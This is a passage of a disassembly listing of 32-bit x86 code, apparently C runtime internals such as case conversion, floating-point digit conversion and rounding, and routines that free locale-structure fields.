		mov	eax, edi


loc_69B865D3:				; CODE XREF: sub_69B86559+6Fj
		push	edi
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	100h
		push	dword ptr [esi+14h]
		call	sub_69B1AEC4
		add	esp, 20h
		test	eax, eax
		jz	short loc_69B8661A
		cmp	eax, edi
		jnz	short loc_69B86600
		movzx	eax, [ebp+var_4]
		jmp	short loc_69B8661C
; ---------------------------------------------------------------------------


loc_69B86600:				; CODE XREF: sub_69B86559+9Fj
		movzx	ecx, [ebp+var_3]
		xor	eax, eax
		mov	ah, [ebp+var_4]
		or	eax, ecx
		jmp	short loc_69B8661C
; ---------------------------------------------------------------------------


loc_69B8660D:				; CODE XREF: sub_69B86559+11j
					; sub_69B86559+20j
		cmp	ebx, 41h
		jl	short loc_69B8661A
		cmp	ebx, 5Ah
		lea	eax, [ebx+20h]
		jle	short loc_69B8661C


loc_69B8661A:				; CODE XREF: sub_69B86559+4Ej
					; sub_69B86559+9Bj ...
		mov	eax, ebx


loc_69B8661C:				; CODE XREF: sub_69B86559+A5j
					; sub_69B86559+B2j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B86559	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B86621	proc near		; CODE XREF: sub_69B851F8+9p

arg_0		= dword	ptr  4

		call	sub_69B84DE2
		mov	eax, [eax+64h]
		cmp	eax, off_69B9AB2C
		jz	short loc_69B86636
		call	sub_69B85A60


loc_69B86636:				; CODE XREF: sub_69B86621+Ej
		push	[esp+arg_0]
		push	eax
		call	sub_69B86559
		pop	ecx
		pop	ecx
		retn
sub_69B86621	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B86643	proc near		; CODE XREF: sub_69B866C2+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	20h
		pop	ecx
		cdq
		idiv	ecx
		push	1Fh
		pop	ecx
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		mov	ecx, [esp+arg_0]
		not	edx
		test	[ecx+eax*4], edx
		jz	short loc_69B8666B


loc_69B86662:				; CODE XREF: sub_69B86643+26j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_69B86665:				; CODE XREF: sub_69B86643+2Cj
		cmp	dword ptr [ecx+eax*4], 0
		jnz	short loc_69B86662


loc_69B8666B:				; CODE XREF: sub_69B86643+1Dj
		inc	eax
		cmp	eax, 3
		jl	short loc_69B86665
		xor	eax, eax
		inc	eax
		retn
sub_69B86643	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B86675	proc near		; CODE XREF: sub_69B866C2+42p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		push	20h
		pop	ecx
		cdq
		idiv	ecx
		mov	edi, [esp+8+arg_0]
		mov	esi, eax
		lea	eax, [edi+esi*4]
		push	eax
		push	1Fh
		pop	ecx
		sub	ecx, edx
		xor	edx, edx
		inc	edx
		shl	edx, cl
		push	edx
		push	dword ptr [eax]
		call	sub_69B86ECC
		add	esp, 0Ch
		dec	esi
		js	short loc_69B866BF
		lea	edi, [edi+esi*4]


loc_69B866A6:				; CODE XREF: sub_69B86675+48j
		test	eax, eax
		jz	short loc_69B866BF
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_69B86ECC
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_69B866A6


loc_69B866BF:				; CODE XREF: sub_69B86675+2Cj
					; sub_69B86675+33j
		pop	edi
		pop	esi
		retn
sub_69B86675	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B866C2	proc near		; CODE XREF: sub_69B867E3+79p
					; sub_69B867E3+C2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		dec	edi
		push	20h
		lea	eax, [edi+1]
		pop	ecx
		cdq
		idiv	ecx
		push	1Fh
		pop	esi
		sub	esi, edx
		xor	edx, edx
		inc	edx
		mov	ecx, esi
		shl	edx, cl
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		test	[eax+ebx*4], edx
		jz	short loc_69B86711
		lea	ecx, [edi+1]
		push	ecx
		push	eax
		call	sub_69B86643
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_69B8670E
		push	edi
		push	[ebp+arg_0]
		call	sub_69B86675
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax


loc_69B8670E:				; CODE XREF: sub_69B866C2+3Cj
		mov	eax, [ebp+arg_0]


loc_69B86711:				; CODE XREF: sub_69B866C2+2Cj
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax+ebx*4], edx
		inc	ebx
		cmp	ebx, ecx
		jge	short loc_69B8672C
		lea	edi, [eax+ebx*4]
		sub	ecx, ebx
		xor	eax, eax
		rep stosd


loc_69B8672C:				; CODE XREF: sub_69B866C2+5Fj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B866C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B86734	proc near		; CODE XREF: sub_69B867E3+6Dp
					; sub_69B867E3+ACp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	3
		pop	edx
		sub	ecx, eax
		push	esi


loc_69B86742:				; CODE XREF: sub_69B86734+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_69B86742
		pop	esi
		retn
sub_69B86734	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8674F	proc near		; CODE XREF: sub_69B867E3+4Dp

arg_0		= dword	ptr  4

		xor	eax, eax


loc_69B86751:				; CODE XREF: sub_69B8674F+10j
		mov	ecx, [esp+arg_0]
		cmp	dword ptr [ecx+eax*4], 0
		jnz	short loc_69B86765
		inc	eax
		cmp	eax, 3
		jl	short loc_69B86751
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_69B86765:				; CODE XREF: sub_69B8674F+Aj
		xor	eax, eax
		retn
sub_69B8674F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B86768	proc near		; CODE XREF: sub_69B867E3+B6p
					; sub_69B867E3+D0p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		pop	esi
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	ebx, [ebp+arg_0]
		or	edi, 0FFFFFFFFh
		mov	[ebp+arg_4], esi
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_8], eax
		xor	eax, eax
		sub	[ebp+arg_4], edx
		not	edi
		mov	[ebp+var_4], eax


loc_69B86796:				; CODE XREF: sub_69B86768+51j
		mov	esi, [ebx+eax*4]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_C], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+arg_4]
		or	esi, [ebp+var_4]
		mov	[ebx+eax*4], esi
		mov	esi, [ebp+var_C]
		shl	esi, cl
		inc	eax
		cmp	eax, 3
		mov	[ebp+var_4], esi
		jl	short loc_69B86796
		push	2
		pop	eax
		mov	ecx, eax
		sub	ecx, [ebp+var_8]
		lea	ecx, [ebx+ecx*4]


loc_69B867C6:				; CODE XREF: sub_69B86768+74j
		cmp	eax, [ebp+var_8]
		jl	short loc_69B867D2
		mov	edx, [ecx]
		mov	[ebx+eax*4], edx
		jmp	short loc_69B867D6
; ---------------------------------------------------------------------------


loc_69B867D2:				; CODE XREF: sub_69B86768+61j
		and	dword ptr [ebx+eax*4], 0


loc_69B867D6:				; CODE XREF: sub_69B86768+68j
		dec	eax
		sub	ecx, 4
		test	eax, eax
		jge	short loc_69B867C6
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B86768	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B867E3	proc near		; CODE XREF: sub_69B8693B+Dp
					; sub_69B86951+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		movzx	ecx, word ptr [eax+0Ah]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		shl	eax, 10h
		and	edi, 7FFFh
		sub	edi, 3FFFh
		cmp	edi, 0FFFFC001h
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_8], ecx
		push	eax
		jnz	short loc_69B8684C
		xor	ebx, ebx
		call	sub_69B8674F
		test	eax, eax
		pop	ecx
		jnz	loc_69B868FB
		lea	edi, [ebp+var_C]
		stosd
		stosd
		stosd


loc_69B86844:				; CODE XREF: sub_69B867E3+DAj
		push	2
		pop	eax
		jmp	loc_69B868FD
; ---------------------------------------------------------------------------


loc_69B8684C:				; CODE XREF: sub_69B867E3+49j
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_69B86734
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_69B866C2
		add	esp, 10h
		test	eax, eax
		jz	short loc_69B86869
		inc	edi


loc_69B86869:				; CODE XREF: sub_69B867E3+83j
		mov	eax, [esi+4]
		mov	ecx, eax
		sub	ecx, [esi+8]
		cmp	edi, ecx
		jge	short loc_69B8687F
		xor	eax, eax
		lea	edi, [ebp+var_C]
		stosd
		stosd
		stosd
		jmp	short loc_69B868BB
; ---------------------------------------------------------------------------


loc_69B8687F:				; CODE XREF: sub_69B867E3+90j
		cmp	edi, eax
		jg	short loc_69B868BF
		sub	eax, edi
		mov	edi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_69B86734
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	sub_69B86768
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_69B866C2
		mov	eax, [esi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_69B86768
		add	esp, 20h


loc_69B868BB:				; CODE XREF: sub_69B867E3+9Aj
		xor	ebx, ebx
		jmp	short loc_69B86844
; ---------------------------------------------------------------------------


loc_69B868BF:				; CODE XREF: sub_69B867E3+9Ej
		cmp	edi, [esi]
		push	dword ptr [esi+0Ch]
		jl	short loc_69B868E7
		xor	eax, eax
		lea	edi, [ebp+var_C]
		stosd
		stosd
		stosd
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_69B86768
		mov	ebx, [esi+14h]
		add	ebx, [esi]
		pop	ecx
		xor	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_69B868FD
; ---------------------------------------------------------------------------


loc_69B868E7:				; CODE XREF: sub_69B867E3+E1j
		mov	ebx, [esi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	ebx, edi
		call	sub_69B86768
		pop	ecx
		pop	ecx


loc_69B868FB:				; CODE XREF: sub_69B867E3+55j
		xor	eax, eax


loc_69B868FD:				; CODE XREF: sub_69B867E3+64j
					; sub_69B867E3+102j
		push	1Fh
		pop	ecx
		sub	ecx, [esi+0Ch]
		mov	esi, [esi+10h]
		shl	ebx, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	ebx, ecx
		or	ebx, [ebp+var_C]
		cmp	esi, 40h
		jnz	short loc_69B8692C
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], ebx
		mov	[ecx], edx
		jmp	short loc_69B86936
; ---------------------------------------------------------------------------


loc_69B8692C:				; CODE XREF: sub_69B867E3+13Aj
		cmp	esi, 20h
		jnz	short loc_69B86936
		mov	ecx, [ebp+arg_4]
		mov	[ecx], ebx


loc_69B86936:				; CODE XREF: sub_69B867E3+147j
					; sub_69B867E3+14Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B867E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8693B	proc near		; CODE XREF: sub_69B86967+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_69B9AC74
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_69B867E3
		add	esp, 0Ch
		retn
sub_69B8693B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B86951	proc near		; CODE XREF: sub_69B86994+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_69B9AC8C
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_69B867E3
		add	esp, 0Ch
		retn
sub_69B86951	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B86967	proc near		; CODE XREF: sub_69B85299+12p

var_10		= byte ptr -10h
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_69B87074
		push	[ebp+arg_0]
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_69B8693B
		add	esp, 24h
		leave
		retn
sub_69B86967	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B86994	proc near		; CODE XREF: sub_69B85299+2Dp

var_10		= byte ptr -10h
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_69B87074
		push	[ebp+arg_0]
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_69B86951
		add	esp, 24h
		leave
		retn
sub_69B86994	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B869C1	proc near		; CODE XREF: sub_69B853AA+40p
					; sub_69B854A2+36p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		mov	ecx, [edx+0Ch]
		push	ebx
		mov	ebx, [ebp+arg_4]
		test	ebx, ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		mov	eax, edi
		jle	short loc_69B869FE
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_69B869E4:				; CODE XREF: sub_69B869C1+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_69B869F0
		movsx	edx, dl
		inc	ecx
		jmp	short loc_69B869F3
; ---------------------------------------------------------------------------


loc_69B869F0:				; CODE XREF: sub_69B869C1+27j
		push	30h
		pop	edx


loc_69B869F3:				; CODE XREF: sub_69B869C1+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_69B869E4
		mov	edx, [ebp+arg_8]


loc_69B869FE:				; CODE XREF: sub_69B869C1+1Cj
		test	ebx, ebx
		mov	byte ptr [eax],	0
		jl	short loc_69B86A17
		cmp	byte ptr [ecx],	35h
		jl	short loc_69B86A17
		jmp	short loc_69B86A0F
; ---------------------------------------------------------------------------


loc_69B86A0C:				; CODE XREF: sub_69B869C1+52j
		mov	byte ptr [eax],	30h


loc_69B86A0F:				; CODE XREF: sub_69B869C1+49j
		dec	eax
		cmp	byte ptr [eax],	39h
		jz	short loc_69B86A0C
		inc	byte ptr [eax]


loc_69B86A17:				; CODE XREF: sub_69B869C1+42j
					; sub_69B869C1+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_69B86A21
		inc	dword ptr [edx+4]
		jmp	short loc_69B86A3B
; ---------------------------------------------------------------------------


loc_69B86A21:				; CODE XREF: sub_69B869C1+59j
		mov	eax, edi
		lea	edx, [eax+1]


loc_69B86A26:				; CODE XREF: sub_69B869C1+6Aj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_69B86A26
		sub	eax, edx
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_69B22103
		add	esp, 0Ch


loc_69B86A3B:				; CODE XREF: sub_69B869C1+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_69B869C1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B86A40	proc near		; CODE XREF: sub_69B86AFA+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	ax, [edx+6]
		push	ebx
		push	esi
		push	edi
		mov	edi, 7FFh
		mov	esi, 80000000h
		mov	[ebp+var_4], esi
		mov	ecx, eax
		shr	ecx, 4
		and	eax, 8000h
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		and	eax, 0FFFFFh
		test	ebx, ebx
		jz	short loc_69B86A90
		cmp	ebx, edi
		jz	short loc_69B86A89
		lea	edi, [ecx+3C00h]
		jmp	short loc_69B86AB1
; ---------------------------------------------------------------------------


loc_69B86A89:				; CODE XREF: sub_69B86A40+3Fj
		mov	edi, 7FFFh
		jmp	short loc_69B86AB1
; ---------------------------------------------------------------------------


loc_69B86A90:				; CODE XREF: sub_69B86A40+3Bj
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B86AA8
		cmp	edx, ebx
		jnz	short loc_69B86AA8
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_69B86AF5
; ---------------------------------------------------------------------------


loc_69B86AA8:				; CODE XREF: sub_69B86A40+54j
					; sub_69B86A40+58j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_69B86AB1:				; CODE XREF: sub_69B86A40+47j
					; sub_69B86A40+4Ej
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		or	ecx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		shl	edx, 0Bh
		test	ecx, esi
		mov	[eax+4], ecx
		mov	[eax], edx
		jnz	short loc_69B86AEC


loc_69B86ACD:				; CODE XREF: sub_69B86A40+AAj
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	ebx, ecx
		shl	edx, 1
		shr	ebx, 1Fh
		or	edx, ebx
		add	ecx, ecx
		add	edi, 0FFFFh
		test	edx, esi
		mov	[eax+4], edx
		mov	[eax], ecx
		jz	short loc_69B86ACD


loc_69B86AEC:				; CODE XREF: sub_69B86A40+8Bj
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_69B86AF5:				; CODE XREF: sub_69B86A40+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B86A40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B86AFA	proc near		; CODE XREF: sub_69B853AA+18p
					; sub_69B854A2+17p ...

var_28		= word ptr -28h
var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_C		= byte ptr -0Ch
arg_0		= byte ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	esi
		push	edi
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_69B86A40
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_28]
		push	eax
		push	0
		push	11h
		sub	esp, 0Ch
		lea	esi, [ebp+var_C]
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_69B87498
		mov	esi, [ebp+arg_8]
		mov	edi, [ebp+arg_C]
		mov	[esi+8], eax
		movsx	eax, [ebp+var_26]
		mov	[esi], eax
		movsx	eax, [ebp+var_28]
		mov	[esi+4], eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	sub_69B227E1
		add	esp, 20h
		mov	[esi+0Ch], edi
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_69B86AFA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B86B56	proc near		; DATA XREF: .data:off_69B92680o
					; .data:off_69B92684o ...
		push	2
		call	sub_69B84A5B
		pop	ecx
		retn
sub_69B86B56	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B86B5F	proc near		; CODE XREF: sub_69B85853:loc_69B85878p
		call	sub_69B84D7C
		test	eax, eax
		jnz	short loc_69B86B6E
		mov	eax, offset dword_69B9ACA4
		retn
; ---------------------------------------------------------------------------


loc_69B86B6E:				; CODE XREF: sub_69B86B5F+7j
		add	eax, 8
		retn
sub_69B86B5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B86B72	proc near		; CODE XREF: sub_69B858CF+B7p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	loc_69B86D00
		push	dword ptr [esi+4]
		call	sub_69B1D1FD
		push	dword ptr [esi+8]
		call	sub_69B1D1FD
		push	dword ptr [esi+0Ch]
		call	sub_69B1D1FD
		push	dword ptr [esi+10h]
		call	sub_69B1D1FD
		push	dword ptr [esi+14h]
		call	sub_69B1D1FD
		push	dword ptr [esi+18h]
		call	sub_69B1D1FD
		push	dword ptr [esi]
		call	sub_69B1D1FD
		push	dword ptr [esi+20h]
		call	sub_69B1D1FD
		push	dword ptr [esi+24h]
		call	sub_69B1D1FD
		push	dword ptr [esi+28h]
		call	sub_69B1D1FD
		push	dword ptr [esi+2Ch]
		call	sub_69B1D1FD
		push	dword ptr [esi+30h]
		call	sub_69B1D1FD
		push	dword ptr [esi+34h]
		call	sub_69B1D1FD
		push	dword ptr [esi+1Ch]
		call	sub_69B1D1FD
		push	dword ptr [esi+38h]
		call	sub_69B1D1FD
		push	dword ptr [esi+3Ch]
		call	sub_69B1D1FD
		add	esp, 40h
		push	dword ptr [esi+40h]
		call	sub_69B1D1FD
		push	dword ptr [esi+44h]
		call	sub_69B1D1FD
		push	dword ptr [esi+48h]
		call	sub_69B1D1FD
		push	dword ptr [esi+4Ch]
		call	sub_69B1D1FD
		push	dword ptr [esi+50h]
		call	sub_69B1D1FD
		push	dword ptr [esi+54h]
		call	sub_69B1D1FD
		push	dword ptr [esi+58h]
		call	sub_69B1D1FD
		push	dword ptr [esi+5Ch]
		call	sub_69B1D1FD
		push	dword ptr [esi+60h]
		call	sub_69B1D1FD
		push	dword ptr [esi+64h]
		call	sub_69B1D1FD
		push	dword ptr [esi+68h]
		call	sub_69B1D1FD
		push	dword ptr [esi+6Ch]
		call	sub_69B1D1FD
		push	dword ptr [esi+70h]
		call	sub_69B1D1FD
		push	dword ptr [esi+74h]
		call	sub_69B1D1FD
		push	dword ptr [esi+78h]
		call	sub_69B1D1FD
		push	dword ptr [esi+7Ch]
		call	sub_69B1D1FD
		add	esp, 40h
		push	dword ptr [esi+80h]
		call	sub_69B1D1FD
		push	dword ptr [esi+84h]
		call	sub_69B1D1FD
		push	dword ptr [esi+88h]
		call	sub_69B1D1FD
		push	dword ptr [esi+8Ch]
		call	sub_69B1D1FD
		push	dword ptr [esi+90h]
		call	sub_69B1D1FD
		push	dword ptr [esi+94h]
		call	sub_69B1D1FD
		push	dword ptr [esi+98h]
		call	sub_69B1D1FD
		push	dword ptr [esi+9Ch]
		call	sub_69B1D1FD
		push	dword ptr [esi+0A0h]
		call	sub_69B1D1FD
		push	dword ptr [esi+0A4h]
		call	sub_69B1D1FD
		push	dword ptr [esi+0A8h]
		call	sub_69B1D1FD
		add	esp, 2Ch


loc_69B86D00:				; CODE XREF: sub_69B86B72+7j
		pop	esi
		retn
sub_69B86B72	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B86D02	proc near		; CODE XREF: sub_69B858CF+5Dp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_69B86D5F
		mov	eax, [esi]
		mov	ecx, off_69B9AD94
		cmp	eax, [ecx]
		jz	short loc_69B86D26
		cmp	eax, off_69B9AD64
		jz	short loc_69B86D26
		push	eax
		call	sub_69B1D1FD
		pop	ecx


loc_69B86D26:				; CODE XREF: sub_69B86D02+13j
					; sub_69B86D02+1Bj
		mov	eax, [esi+4]
		mov	ecx, off_69B9AD94
		cmp	eax, [ecx+4]
		jz	short loc_69B86D43
		cmp	eax, off_69B9AD68
		jz	short loc_69B86D43
		push	eax
		call	sub_69B1D1FD
		pop	ecx


loc_69B86D43:				; CODE XREF: sub_69B86D02+30j
					; sub_69B86D02+38j
		mov	esi, [esi+8]
		mov	eax, off_69B9AD94
		cmp	esi, [eax+8]
		jz	short loc_69B86D5F
		cmp	esi, off_69B9AD6C
		jz	short loc_69B86D5F
		push	esi
		call	sub_69B1D1FD
		pop	ecx


loc_69B86D5F:				; CODE XREF: sub_69B86D02+7j
					; sub_69B86D02+4Cj ...
		pop	esi
		retn
sub_69B86D02	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B86D61	proc near		; CODE XREF: sub_69B858CF+3Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	loc_69B86E38
		mov	eax, [esi+0Ch]
		mov	ecx, off_69B9AD94
		cmp	eax, [ecx+0Ch]
		jz	short loc_69B86D8B
		cmp	eax, off_69B9AD70
		jz	short loc_69B86D8B
		push	eax
		call	sub_69B1D1FD
		pop	ecx


loc_69B86D8B:				; CODE XREF: sub_69B86D61+19j
					; sub_69B86D61+21j
		mov	eax, [esi+10h]
		mov	ecx, off_69B9AD94
		cmp	eax, [ecx+10h]
		jz	short loc_69B86DA8
		cmp	eax, off_69B9AD74
		jz	short loc_69B86DA8
		push	eax
		call	sub_69B1D1FD
		pop	ecx


loc_69B86DA8:				; CODE XREF: sub_69B86D61+36j
					; sub_69B86D61+3Ej
		mov	eax, [esi+14h]
		mov	ecx, off_69B9AD94
		cmp	eax, [ecx+14h]
		jz	short loc_69B86DC5
		cmp	eax, off_69B9AD78
		jz	short loc_69B86DC5
		push	eax
		call	sub_69B1D1FD
		pop	ecx


loc_69B86DC5:				; CODE XREF: sub_69B86D61+53j
					; sub_69B86D61+5Bj
		mov	eax, [esi+18h]
		mov	ecx, off_69B9AD94
		cmp	eax, [ecx+18h]
		jz	short loc_69B86DE2
		cmp	eax, off_69B9AD7C
		jz	short loc_69B86DE2
		push	eax
		call	sub_69B1D1FD
		pop	ecx


loc_69B86DE2:				; CODE XREF: sub_69B86D61+70j
					; sub_69B86D61+78j
		mov	eax, [esi+1Ch]
		mov	ecx, off_69B9AD94
		cmp	eax, [ecx+1Ch]
		jz	short loc_69B86DFF
		cmp	eax, off_69B9AD80
		jz	short loc_69B86DFF
		push	eax
		call	sub_69B1D1FD
		pop	ecx


loc_69B86DFF:				; CODE XREF: sub_69B86D61+8Dj
					; sub_69B86D61+95j
		mov	eax, [esi+20h]
		mov	ecx, off_69B9AD94
		cmp	eax, [ecx+20h]
		jz	short loc_69B86E1C
		cmp	eax, off_69B9AD84
		jz	short loc_69B86E1C
		push	eax
		call	sub_69B1D1FD
		pop	ecx


loc_69B86E1C:				; CODE XREF: sub_69B86D61+AAj
					; sub_69B86D61+B2j
		mov	esi, [esi+24h]
		mov	eax, off_69B9AD94
		cmp	esi, [eax+24h]
		jz	short loc_69B86E38
		cmp	esi, off_69B9AD88
		jz	short loc_69B86E38
		push	esi
		call	sub_69B1D1FD
		pop	ecx


loc_69B86E38:				; CODE XREF: sub_69B86D61+7j
					; sub_69B86D61+C6j ...
		pop	esi
		retn
sub_69B86D61	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B86E3A	proc near		; CODE XREF: sub_69B19587+BD48p
					; sub_69B1CEB6+8492p

arg_0		= dword	ptr  4

		mov	eax, dword_69B9B758
		test	eax, eax
		jz	short loc_69B86E52
		push	[esp+arg_0]
		call	eax ; dword_69B9B758
		test	eax, eax
		pop	ecx
		jz	short loc_69B86E52
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_69B86E52:				; CODE XREF: sub_69B86E3A+7j
					; sub_69B86E3A+12j
		xor	eax, eax
		retn
sub_69B86E3A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B86E55	proc near		; CODE XREF: sub_69B8651F+22p
					; sub_69B86559+39p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
